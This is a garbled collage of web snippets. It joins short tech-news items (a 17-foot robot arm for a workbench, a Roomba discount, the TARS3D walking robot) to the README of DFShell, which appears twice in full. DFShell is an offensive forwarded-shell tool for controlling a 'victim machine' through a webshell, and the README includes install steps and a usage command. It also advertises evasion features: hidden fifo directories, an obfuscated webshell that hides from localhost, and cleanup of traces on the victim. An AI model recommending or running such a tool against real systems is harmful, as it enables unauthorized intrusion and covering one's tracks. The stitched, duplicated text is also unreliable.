[Engineezy] might have been watching a 3D printer move when inspiration struck: Why not build a robot arm to clean up his workbench? Why not, indeed? Well, all you need is a 17-foot-long X-axis and a gripper mechanism that can pick up any strange thing that happens to be on the bench.

Like any good project, he did it step by step. Mounting a 17-foot linear rail on an accurately machined backplate required professional CNC assistance. He was shooting for a 1mm accuracy, but decided to settle for 10mm.

With the long axis done, the rest seemed anticlimactic, at least for moving it around. The system can actually support his bodyweight while moving. The next step was to control the arm manually and use a gripper to open a parts bin.

The arm works, but is somewhat slow and needs some automation. A great start to a project that might not be practical, but is still a fun build and might inspire you to do something equally large.

We have large workbenches, but we tend to use tiny ones more often in our office. We also enjoy ones that are portable.

Read more of this story at Slashdot.

If you’ve ever thought about getting a robot vacuum but didn’t want to spend “flagship money,” this is the kind of deal that makes it a lot easier to say yes. The iRobot Roomba 105 Vac Robot Vacuum is currently $149.00 as a limited-time deal, down from $299.99—a full 50% off. You’re getting proper power-lifting […]

The post This Roomba robot vacuum is 50% off and actually makes “set it and forget it” cleaning realistic appeared first on Digital Trends.

[Aditya Sripada] and [Abhishek Warrier]’s TARS3D robot came from asking what it would take to make a robot with the capabilities of TARS, the robotic character from Interstellar. We couldn’t find a repository of CAD files or code but the research paper for TARS3D explains the principles, which should be enough to inspire a motivated hacker.

What makes TARS so intriguing is the simple-looking structure combined with distinct and effective gaits. TARS is not a biologically-inspired design, yet it can walk and perform a high-speed roll. Making real-world version required not only some inspired mechanical design, but also clever software with machine learning.

[Aditya] and [Abhishek] created TARS3D as a proof of concept not only of how such locomotion can be made to work, but also as a way to demonstrate that unconventional body and limb designs (many of which are sci-fi inspired) can permit gaits that are as effective as they are unusual.

TARS3D is made up of four side-by-side columns that can rotate around a shared central ‘hip’ joint as well as shift in length. In the movie, TARS is notably flat-footed but [Aditya] found that this was unsuitable for rolling, so TARS3D has curved foot plates.

The rolling gait is pretty sensitive to terrain variations, but the walking gait proved to be quite robust. All in all it’s a pretty interesting platform that does more than just show a TARS-like dual gait robot can be made to actually work. It also demonstrates the value of reinforcement learning for robot gaits.

A brief video is below in which you can see the bipedal walk in action. Not that long ago, walking robots were a real challenge but with the tools available nowadays, even a robot running a 5k isn’t crazy.

██████╗ ███████╗███████╗██╗  ██╗███████╗██╗     ██╗     
██╔══██╗██╔════╝██╔════╝██║  ██║███╔═══╝██║     ██║     
██║  ██║█████╗  ███████╗███████║█████╗  ██║     ██║     
██║  ██║██╔══╝  ╚════██║██╔══██║██╔══╝  ██║     ██║     
██████╔╝██║     ███████║██║  ██║███████╗████████╗███████╗
╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝                      

D3Ext's Forwarded Shell it's a python3 script which use mkfifo to simulate a shell into the victim machine. It creates a hidden directory in /dev/shm/.fs/ and there are stored the fifos. You can even have a tty over a webshell.

In case you want a good webshell with code obfuscation, login panel and more functions you have this webshell (scripted by me), you can change the username and the password at the top of the file, it also have a little protection in case of beeing discovered because if the webshell is accessed from localhost it gives a 404 status code

Why you should use DFShell?

To use other forwarded shells you have to edit the script to change the url and the parameter of the webshell, but DFShell use parameters to quickly pass the arguments to the script (-u/--url and -p/--parameter), the script have a pretty output with colors, you also have custom commands to upload and download files from the target, do port and host discovery, and it deletes the files created on the victim if you press Ctrl + C or simply exit from the shell.

*If you change the actual user from webshell (or anything get unstable) then execute: 'sh'*

Installation:

Install with pip

pip3 install dfshell

Install from source

git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements

One-liner

git clone https://github.com/D3Ext/DFShell && cd DFShell && pip3 install -r requirements

Usage:

It's simple, you pass the url of the webshell and the parameter that executes commands. I recommend you the most simple webshell

python3 DFShell.py -u http://10.10.10.10/webshell.php -p cmd

Demo:

██████╗ ███████╗███████╗██╗  ██╗███████╗██╗     ██╗     
██╔══██╗██╔════╝██╔════╝██║  ██║███╔═══╝██║     ██║     
██║  ██║█████╗  ███████╗███████║█████╗  ██║     ██║     
██║  ██║██╔══╝  ╚════██║██╔══██║██╔══╝  ██║     ██║     
██████╔╝██║     ███████║██║  ██║███████╗████████╗███████╗
╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝                      

D3Ext's Forwarded Shell it's a python3 script which use mkfifo to simulate a shell into the victim machine. It creates a hidden directory in /dev/shm/.fs/ and there are stored the fifos. You can even have a tty over a webshell.

In case you want a good webshell with code obfuscation, login panel and more functions you have this webshell (scripted by me), you can change the username and the password at the top of the file, it also have a little protection in case of beeing discovered because if the webshell is accessed from localhost it gives a 404 status code

Why you should use DFShell?

To use other forwarded shells you have to edit the script to change the url and the parameter of the webshell, but DFShell use parameters to quickly pass the arguments to the script (-u/--url and -p/--parameter), the script have a pretty output with colors, you also have custom commands to upload and download files from the target, do port and host discovery, and it deletes the files created on the victim if you press Ctrl + C or simply exit from the shell.

*If you change the actual user from webshell (or anything get unstable) then execute: 'sh'*

Installation:

Install with pip

pip3 install dfshell

Install from source

git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements

One-liner

git clone https://github.com/D3Ext/DFShell && cd DFShell && pip3 install -r requirements

Usage:

It's simple, you pass the url of the webshell and the parameter that executes commands. I recommend you the most simple webshell

python3 DFShell.py -u http://10.10.10.10/webshell.php -p cmd

Demo: